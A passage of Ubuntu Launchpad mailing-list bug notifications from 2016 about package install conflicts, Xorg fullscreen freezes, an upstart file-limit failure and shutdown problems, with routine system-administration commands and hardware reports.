https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1638348] [NEW] package libjpeg-progs 8c-2ubuntu8 failed to install/upgrade: a tentar sobre-escrever '/usr/bin/rdjpgcom', que também está no pacote libjpeg-turbo-progs 1.3.0-0ubun
Public bug reported: No details available ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libjpeg-progs 8c-2ubuntu8 ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21 Uname: Linux 4.4.0-45-generic i686 ApportVersion: 2.20.1-0ubuntu2 Architecture: i386 Date: Tue Nov 1 15:05:03 2016 ErrorMessage: a tentar sobre-escrever '/usr/bin/rdjpgcom', que também está no pacote libjpeg-turbo-progs 1.3.0-0ubuntu2 RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: libjpeg8-empty Title: package libjpeg-progs 8c-2ubuntu8 failed to install/upgrade: a tentar sobre-escrever '/usr/bin/rdjpgcom', que também está no pacote libjpeg-turbo-progs 1.3.0-0ubuntu2 UpgradeStatus: Upgraded to xenial on 2016-09-21 (41 days ago) ** Affects: libjpeg8-empty (Ubuntu) Importance: Undecided Status: New ** Tags: apport-package i386 third-party-packages xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu. https://bugs.launchpad.net/bugs/1638348 Title: package libjpeg-progs 8c-2ubuntu8 failed to install/upgrade: a tentar sobre-escrever '/usr/bin/rdjpgcom', que também está no pacote libjpeg- turbo-progs 1.3.0-0ubuntu2 Status in libjpeg8-empty package in Ubuntu: New Bug description: No details available ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libjpeg-progs 8c-2ubuntu8 ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21 Uname: Linux 4.4.0-45-generic i686 ApportVersion: 2.20.1-0ubuntu2 Architecture: i386 Date: Tue Nov 1 15:05:03 2016 ErrorMessage: a tentar sobre-escrever '/usr/bin/rdjpgcom', que também está no pacote libjpeg-turbo-progs 1.3.0-0ubuntu2 RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: libjpeg8-empty Title: package libjpeg-progs 8c-2ubuntu8 failed to install/upgrade: a tentar sobre-escrever '/usr/bin/rdjpgcom', que também está no pacote libjpeg-turbo-progs 1.3.0-0ubuntu2 UpgradeStatus: Upgraded to xenial on 2016-09-21 (41 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1638348/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1627365] Re: Screen frezes, only mouse pointer can move
Thanks Christopher. The solution was ~$ sudo ppa-purge ppa:oibaf/graphics-drivers http://pastebin.com/1uqkUSn7 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1627365 Title: Screen frezes, only mouse pointer can move Status in xorg package in Ubuntu: Incomplete Bug description: This issue only occurs when I use certain gaming software like Emulation Station, ppsspp and ppsspp-sdl on Fullscreen Mode. As of https://wiki.ubuntu.com/X/Troubleshooting/Freeze says, my symptoms are: - X stops responding to input (sometimes mouse cursor can still move, but clicking has no effect) - The screen displays but does not update. Sometimes there is screen corruption too, sometimes the screen goes black. - Often, X cannot be killed from the console or if it can, it won't restart properly; only a reboot clears the state I can go to TTY with Ctrl+Alt+F1, login and reboot, or go back back to frozen desktop/application with Ctrl+Alt+F7. I would like to reproduce this issue and collect the necessary data over ethernet, but I don't how to do it. - I'm experience this lockup when I go Fullscreen in PPSSPP (Sony PlayStation Portable Emulator), Emulation Station (Frontend for Emulators) and a couple of minutes pass, so I can't go back to Windowed mode. I've tried with VLC fullscreen mode without issues. I'll make a more detailed report of apps later on comments. - I first noticed it aprox. after installing this repos: http://ppa.launchpad.net/canonical-x/vulkan/ubuntu http://ppa.launchpad.net/oibaf/graphics-drivers/ubuntu http://ppa.launchpad.net/graphics-drivers/ppa/ubuntu - I'm using Unity, so I can't be sure if this is happening in other DE's - Like I said before, this happens when switching from fullscreen mode to windowed mode, in some applications. I haven't had problems with streaming video (youtube player, jwplayer, vimeo player, etc...) in fullscreen mode. Thanks! Technical Info. Machine: Lenovo G400s (Laptop) ~$ lsb_release -rd Description: Ubuntu 16.04.1 LTS Release: 16.04 ~$ apt-cache policy xorg xorg: Instalados: 1:7.7+13ubuntu3 Candidato: 1:7.7+13ubuntu3 Tabla de versión: *** 1:7.7+13ubuntu3 500 500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages 100 /var/lib/dpkg/status Phoronix Test Suite v6.4.0 Interactive Benchmarking System Software / Hardware Information Hardware: Processor: Intel Core i3-3110M @ 2.40GHz (4 Cores), Motherboard: LENOVO, Chipset: Intel 3rd Gen Core DRAM, Memory: 6144MB, Disk: 500GB Seagate ST500LT012-9WS14, Graphics: Intel HD 4000 (1000MHz), Audio: Conexant CX20757, Network: Qualcomm Atheros QCA8172 Fast + Qualcomm Atheros AR9485 Wireless Software: OS: Ubuntu 16.04, Kernel: 4.7.2-040702-generic (x86_64), Desktop: Unity 7.4.0, Display Server: X Server 1.18.4, Display Driver: intel 2.99.917, OpenGL: 3.3 Mesa 12.1.0-devel, Compiler: GCC 5.4.0 20160609, File-System: ext4, Screen Resolution: 1366x768 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 Uname: Linux 4.7.2-040702-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Sat Sep 24 10:11:14 2016 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo 3rd Gen Core processor Graphics Controller [17aa:3977] InstallationDate: Installed on 2015-07-08 (444 days ago) InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 (20150218.1) MachineType: LENOVO 20244 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.7.2-040702-generic root=UUID=aeda239d-fc39-47e7-a775-53cef3aa6e11 ro quiet splash pciehp.pciehp_force=1 vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/28/2013 dmi.bios.vendor: LENOVO dmi.bios.version: 7BCN36WW(V2.02) dmi.board.asset.tag: No Asset Tag dmi.board.name: INVALID dmi.board.vendor: LENOVO dmi.board.version: 31900059Std dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo G400s dmi.modalias: dmi:bvnLENOVO:bvr7BCN36WW(V2.02):bd08/28/2013:svnLENOVO:pn20244:pvrLenovoG400s:rvnLENOVO:rnINVALID:rvr31900059Std:cvnLENOVO:ct10:cvrLenovoG400s: dmi.product.name: 20244 dmi.product.version:
[Touch-packages] [Bug 1627365] Re: Screen frezes, only mouse pointer can move
Hi Christopher. I'll remove http://ppa.launchpad.net/canonical-x/vulkan/ubuntu http://ppa.launchpad.net/oibaf/graphics-drivers/ubuntu http://ppa.launchpad.net/graphics-drivers/ppa/ubuntu and report back. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1627365 Title: Screen frezes, only mouse pointer can move Status in xorg package in Ubuntu: Incomplete Bug description: This issue only occurs when I use certain gaming software like Emulation Station, ppsspp and ppsspp-sdl on Fullscreen Mode. As of https://wiki.ubuntu.com/X/Troubleshooting/Freeze says, my symptoms are: - X stops responding to input (sometimes mouse cursor can still move, but clicking has no effect) - The screen displays but does not update. Sometimes there is screen corruption too, sometimes the screen goes black. - Often, X cannot be killed from the console or if it can, it won't restart properly; only a reboot clears the state I can go to TTY with Ctrl+Alt+F1, login and reboot, or go back back to frozen desktop/application with Ctrl+Alt+F7. I would like to reproduce this issue and collect the necessary data over ethernet, but I don't how to do it. - I'm experience this lockup when I go Fullscreen in PPSSPP (Sony PlayStation Portable Emulator), Emulation Station (Frontend for Emulators) and a couple of minutes pass, so I can't go back to Windowed mode. I've tried with VLC fullscreen mode without issues. I'll make a more detailed report of apps later on comments. - I first noticed it aprox. after installing this repos: http://ppa.launchpad.net/canonical-x/vulkan/ubuntu http://ppa.launchpad.net/oibaf/graphics-drivers/ubuntu http://ppa.launchpad.net/graphics-drivers/ppa/ubuntu - I'm using Unity, so I can't be sure if this is happening in other DE's - Like I said before, this happens when switching from fullscreen mode to windowed mode, in some applications. I haven't had problems with streaming video (youtube player, jwplayer, vimeo player, etc...) in fullscreen mode. Thanks! Technical Info. Machine: Lenovo G400s (Laptop) ~$ lsb_release -rd Description: Ubuntu 16.04.1 LTS Release: 16.04 ~$ apt-cache policy xorg xorg: Instalados: 1:7.7+13ubuntu3 Candidato: 1:7.7+13ubuntu3 Tabla de versión: *** 1:7.7+13ubuntu3 500 500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages 100 /var/lib/dpkg/status Phoronix Test Suite v6.4.0 Interactive Benchmarking System Software / Hardware Information Hardware: Processor: Intel Core i3-3110M @ 2.40GHz (4 Cores), Motherboard: LENOVO, Chipset: Intel 3rd Gen Core DRAM, Memory: 6144MB, Disk: 500GB Seagate ST500LT012-9WS14, Graphics: Intel HD 4000 (1000MHz), Audio: Conexant CX20757, Network: Qualcomm Atheros QCA8172 Fast + Qualcomm Atheros AR9485 Wireless Software: OS: Ubuntu 16.04, Kernel: 4.7.2-040702-generic (x86_64), Desktop: Unity 7.4.0, Display Server: X Server 1.18.4, Display Driver: intel 2.99.917, OpenGL: 3.3 Mesa 12.1.0-devel, Compiler: GCC 5.4.0 20160609, File-System: ext4, Screen Resolution: 1366x768 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 Uname: Linux 4.7.2-040702-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Sat Sep 24 10:11:14 2016 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo 3rd Gen Core processor Graphics Controller [17aa:3977] InstallationDate: Installed on 2015-07-08 (444 days ago) InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 (20150218.1) MachineType: LENOVO 20244 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.7.2-040702-generic root=UUID=aeda239d-fc39-47e7-a775-53cef3aa6e11 ro quiet splash pciehp.pciehp_force=1 vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/28/2013 dmi.bios.vendor: LENOVO dmi.bios.version: 7BCN36WW(V2.02) dmi.board.asset.tag: No Asset Tag dmi.board.name: INVALID dmi.board.vendor: LENOVO dmi.board.version: 31900059Std dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo G400s dmi.modalias:
[Touch-packages] [Bug 1413710] Re: Xorg crash - Fullscreen causing crash
Just filed a new bug report at https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1627365 and subcribed you Christopher. Thanks. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1413710 Title: Xorg crash - Fullscreen causing crash Status in xorg package in Ubuntu: Invalid Bug description: I was listening to this YouTube video: http://www.infinitelooper.com/?v=-tJYN-eG1zk=n When I decided to make it full screen, but it didn't want to go, so I very quickly double-clicked on it twice, and then the entire screen went black. And no matter what I did, it go away. Although I could still hear the music from the video. As I couldn't do anything really about it I had to hold down my power button and force it to shutdown. And when it started up the screen was fine. It is a laptop so I don't think that the monitor just turned off or something. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: xorg 1:7.7+7ubuntu2 ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 .tmp.unity.support.test.0: ApportVersion: 2.14.7-0ubuntu8.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Thu Jan 22 19:26:26 2015 DistUpgraded: 2014-12-13 16:39:34,851 DEBUG enabling apt cron job DistroCodename: utopic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo Device [17aa:5002] InstallationDate: Installed on 2014-12-06 (47 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) MachineType: LENOVO 62742SG ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.16.0-29-generic root=UUID=3883b8c8-34cb-4ec2-8834-fe85bbd10f52 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg crash UpgradeStatus: Upgraded to utopic on 2014-12-13 (40 days ago) dmi.bios.date: 11/15/2012 dmi.bios.vendor: LENOVO dmi.bios.version: H5ET69WW (1.12 ) dmi.board.asset.tag: Not Available dmi.board.name: 62742SG dmi.board.vendor: LENOVO dmi.board.version: Win8 Pro DPK IPG dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrH5ET69WW(1.12):bd11/15/2012:svnLENOVO:pn62742SG:pvrLenovoB590:rvnLENOVO:rn62742SG:rvrWin8ProDPKIPG:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.name: 62742SG dmi.product.version: Lenovo B590 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.12+14.10.20140918-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.3.2-0ubuntu0.1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.3.2-0ubuntu0.1 version.xserver-xorg-core: xserver-xorg-core 2:1.16.0-1ubuntu1.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.9.0-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.4.0-2ubuntu2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.914-1~exp1ubuntu4.1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.11-1ubuntu2 xserver.bootTime: Thu Jan 22 19:19:28 2015 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 827 vendor LGD xserver.version: 2:1.16.0-1ubuntu1.2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1413710/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1627365] [NEW] Screen frezes, only mouse pointer can move
Public bug reported: This issue only occurs when I use certain gaming software like Emulation Station, ppsspp and ppsspp-sdl on Fullscreen Mode. As of https://wiki.ubuntu.com/X/Troubleshooting/Freeze says, my symptoms are: - X stops responding to input (sometimes mouse cursor can still move, but clicking has no effect) - The screen displays but does not update. Sometimes there is screen corruption too, sometimes the screen goes black. - Often, X cannot be killed from the console or if it can, it won't restart properly; only a reboot clears the state I can go to TTY with Ctrl+Alt+F1, login and reboot, or go back back to frozen desktop/application with Ctrl+Alt+F7. I would like to reproduce this issue and collect the necessary data over ethernet, but I don't how to do it. - I'm experience this lockup when I go Fullscreen in PPSSPP (Sony PlayStation Portable Emulator), Emulation Station (Frontend for Emulators) and a couple of minutes pass, so I can't go back to Windowed mode. I've tried with VLC fullscreen mode without issues. I'll make a more detailed report of apps later on comments. - I first noticed it aprox. after installing this repos: http://ppa.launchpad.net/canonical-x/vulkan/ubuntu http://ppa.launchpad.net/oibaf/graphics-drivers/ubuntu http://ppa.launchpad.net/graphics-drivers/ppa/ubuntu - I'm using Unity, so I can't be sure if this is happening in other DE's - Like I said before, this happens when switching from fullscreen mode to windowed mode, in some applications. I haven't had problems with streaming video (youtube player, jwplayer, vimeo player, etc...) in fullscreen mode. Thanks! Technical Info. Machine: Lenovo G400s (Laptop) ~$ lsb_release -rd Description:Ubuntu 16.04.1 LTS Release:16.04 ~$ apt-cache policy xorg xorg: Instalados: 1:7.7+13ubuntu3 Candidato: 1:7.7+13ubuntu3 Tabla de versión: *** 1:7.7+13ubuntu3 500 500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages 100 /var/lib/dpkg/status Phoronix Test Suite v6.4.0 Interactive Benchmarking System Software / Hardware Information Hardware: Processor: Intel Core i3-3110M @ 2.40GHz (4 Cores), Motherboard: LENOVO, Chipset: Intel 3rd Gen Core DRAM, Memory: 6144MB, Disk: 500GB Seagate ST500LT012-9WS14, Graphics: Intel HD 4000 (1000MHz), Audio: Conexant CX20757, Network: Qualcomm Atheros QCA8172 Fast + Qualcomm Atheros AR9485 Wireless Software: OS: Ubuntu 16.04, Kernel: 4.7.2-040702-generic (x86_64), Desktop: Unity 7.4.0, Display Server: X Server 1.18.4, Display Driver: intel 2.99.917, OpenGL: 3.3 Mesa 12.1.0-devel, Compiler: GCC 5.4.0 20160609, File-System: ext4, Screen Resolution: 1366x768 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 Uname: Linux 4.7.2-040702-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Sat Sep 24 10:11:14 2016 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo 3rd Gen Core processor Graphics Controller [17aa:3977] InstallationDate: Installed on 2015-07-08 (444 days ago) InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 (20150218.1) MachineType: LENOVO 20244 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.7.2-040702-generic root=UUID=aeda239d-fc39-47e7-a775-53cef3aa6e11 ro quiet splash pciehp.pciehp_force=1 vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/28/2013 dmi.bios.vendor: LENOVO dmi.bios.version: 7BCN36WW(V2.02) dmi.board.asset.tag: No Asset Tag dmi.board.name: INVALID dmi.board.vendor: LENOVO dmi.board.version: 31900059Std dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo G400s dmi.modalias: dmi:bvnLENOVO:bvr7BCN36WW(V2.02):bd08/28/2013:svnLENOVO:pn20244:pvrLenovoG400s:rvnLENOVO:rnINVALID:rvr31900059Std:cvnLENOVO:ct10:cvrLenovoG400s: dmi.product.name: 20244 dmi.product.version: Lenovo G400s dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.70+git1609171830.065955~gd~x version.libgl1-mesa-dri: libgl1-mesa-dri 12.1~git1609240730.cb7c2c~gd~x version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 12.1~git1609240730.cb7c2c~gd~x version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-0ubuntu0.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2
[Touch-packages] [Bug 1420640] Re: upstart job fails to start with "limit nofile unlimited unlimited"
I figured out our problem. We lowered `fs.nr_open` on the non-working systems from the - apparent default - of `1048576` to `655360`. The docker package set a limit higher than our new limit, so the process was failing to start. Upstart is going away - boo - but in case anyone sees this issue in the future, running the following was the fix for me: ``` sysctl -w fs.nr_open=1048576 ``` -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upstart in Ubuntu. https://bugs.launchpad.net/bugs/1420640 Title: upstart job fails to start with "limit nofile unlimited unlimited" Status in upstart : New Status in upstart package in Ubuntu: Confirmed Bug description: Upstart cookbook refers to "limit nofile unlimited unlimited". http://upstart.ubuntu.com/cookbook/#limit However it fails to start jobs, for example: $ sudo stop cron $ echo limit nofile unlimited unlimited | sudo tee /etc/init/cron.override $ sudo start cron start: Job failed to start Feb 11 16:02:52 lifebook kernel: [36027.452599] init: Failed to spawn cron main process: unable to set "nofile" resource limit: Operation not permitted ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: upstart 1.13.2-0ubuntu7 ProcVersionSignature: Ubuntu 3.18.0-13.14-generic 3.18.5 Uname: Linux 3.18.0-13-generic x86_64 .etc.init.cron.override: limit nofile unlimited unlimited ApportVersion: 2.16.1-0ubuntu2 Architecture: amd64 CurrentDesktop: Unity Date: Wed Feb 11 16:03:27 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2015-02-09 (1 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150207) ProcKernelCmdline: BOOT_IMAGE=/vmlinuz-3.18.0-13-generic.efi.signed root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7 SourcePackage: upstart UpgradeStatus: No upgrade log present (probably fresh install) UpstartBugCategory: System UpstartRunningSessionVersion: upstart 1.13.2 UpstartRunningSystemVersion: init (upstart 1.13.2) modified.conffile..etc.at.deny: [inaccessible: [Errno 13] Permission denied: '/etc/at.deny'] modified.conffile..etc.libvirt.qemu.conf: [inaccessible: [Errno 13] Permission denied: '/etc/libvirt/qemu.conf'] modified.conffile..etc.libvirt.qemu.networks.default.xml: [inaccessible: [Errno 13] Permission denied: '/etc/libvirt/qemu/networks/default.xml'] To manage notifications about this bug go to: https://bugs.launchpad.net/upstart/+bug/1420640/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1420640] Re: upstart job fails to start with "limit nofile unlimited unlimited"
I'm also seeing this on multiple Ubuntu 14.04 servers, but in regards to the docker-engine upstart file. It's unclear to me why this is the case, as a similarly configured server does not have this issue. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upstart in Ubuntu. https://bugs.launchpad.net/bugs/1420640 Title: upstart job fails to start with "limit nofile unlimited unlimited" Status in upstart : New Status in upstart package in Ubuntu: Confirmed Bug description: Upstart cookbook refers to "limit nofile unlimited unlimited". http://upstart.ubuntu.com/cookbook/#limit However it fails to start jobs, for example: $ sudo stop cron $ echo limit nofile unlimited unlimited | sudo tee /etc/init/cron.override $ sudo start cron start: Job failed to start Feb 11 16:02:52 lifebook kernel: [36027.452599] init: Failed to spawn cron main process: unable to set "nofile" resource limit: Operation not permitted ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: upstart 1.13.2-0ubuntu7 ProcVersionSignature: Ubuntu 3.18.0-13.14-generic 3.18.5 Uname: Linux 3.18.0-13-generic x86_64 .etc.init.cron.override: limit nofile unlimited unlimited ApportVersion: 2.16.1-0ubuntu2 Architecture: amd64 CurrentDesktop: Unity Date: Wed Feb 11 16:03:27 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2015-02-09 (1 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150207) ProcKernelCmdline: BOOT_IMAGE=/vmlinuz-3.18.0-13-generic.efi.signed root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7 SourcePackage: upstart UpgradeStatus: No upgrade log present (probably fresh install) UpstartBugCategory: System UpstartRunningSessionVersion: upstart 1.13.2 UpstartRunningSystemVersion: init (upstart 1.13.2) modified.conffile..etc.at.deny: [inaccessible: [Errno 13] Permission denied: '/etc/at.deny'] modified.conffile..etc.libvirt.qemu.conf: [inaccessible: [Errno 13] Permission denied: '/etc/libvirt/qemu.conf'] modified.conffile..etc.libvirt.qemu.networks.default.xml: [inaccessible: [Errno 13] Permission denied: '/etc/libvirt/qemu/networks/default.xml'] To manage notifications about this bug go to: https://bugs.launchpad.net/upstart/+bug/1420640/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 987220] Re: [Dell Inspiron 1720] System does not power off reliably when "Shut Down" chosen from GUI
I installed, from pendrive, Ubuntu 16.04 LTS in dell inspiron 1501 (with windows XP), the windows poweroff normally, but ubuntu do not: it goes shutdown apparently normally but finally do not power off the labtop. The last lines reported are: All fylesystems unmounted Deactivating swaps All swaps deactivated Detaching loop devices All loop devices detached Detachig DM devices All DM devices detached Powering off and the labtop do not power off Ther is a significant note in the previous lines before those lines: Process 1043 (plymouthd) has benn marked to be ecluded form killing... I am new and no expert linux -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upstart in Ubuntu. https://bugs.launchpad.net/bugs/987220 Title: [Dell Inspiron 1720] System does not power off reliably when "Shut Down" chosen from GUI Status in Session Menu: Invalid Status in gnome-session package in Ubuntu: Invalid Status in indicator-session package in Ubuntu: Invalid Status in linux package in Ubuntu: Incomplete Status in upstart package in Ubuntu: Invalid Status in gnome-session source package in Precise: Invalid Status in indicator-session source package in Precise: Invalid Status in linux source package in Precise: Confirmed Status in upstart source package in Precise: Invalid Status in Debian: New Bug description: Shutting down the computer using the menue does not work always correct. It often does not complete turn off the computer. The power LED and the LED of the bluetooth unit remain on. Also the fan is still running and won't stop. Shutting down the computer with "sudo shutdown -h now" using the terminal works fine. I am using a Dell Inspiron 1720. To manage notifications about this bug go to: https://bugs.launchpad.net/indicator-session/+bug/987220/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1624673] [NEW] package ca-certificates 20160104ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 2
Public bug reported: package ca-certificates 20160104ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 2 ProblemType: Package DistroRelease: Ubuntu 16.04 Package: ca-certificates 20160104ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-36.55-generic 4.4.16 Uname: Linux 4.4.0-36-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 Date: Sat Sep 17 00:19:48 2016 ErrorMessage: subprocess installed post-installation script returned error exit status 2 InstallationDate: Installed on 2016-02-19 (210 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: ca-certificates Title: package ca-certificates 20160104ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 2 UpgradeStatus: Upgraded to xenial on 2016-09-13 (3 days ago) ** Affects: ca-certificates (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ca-certificates in Ubuntu. https://bugs.launchpad.net/bugs/1624673 Title: package ca-certificates 20160104ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 2 Status in ca-certificates package in Ubuntu: New Bug description: package ca-certificates 20160104ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 2 ProblemType: Package DistroRelease: Ubuntu 16.04 Package: ca-certificates 20160104ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-36.55-generic 4.4.16 Uname: Linux 4.4.0-36-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 Date: Sat Sep 17 00:19:48 2016 ErrorMessage: subprocess installed post-installation script returned error exit status 2 InstallationDate: Installed on 2016-02-19 (210 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: ca-certificates Title: package 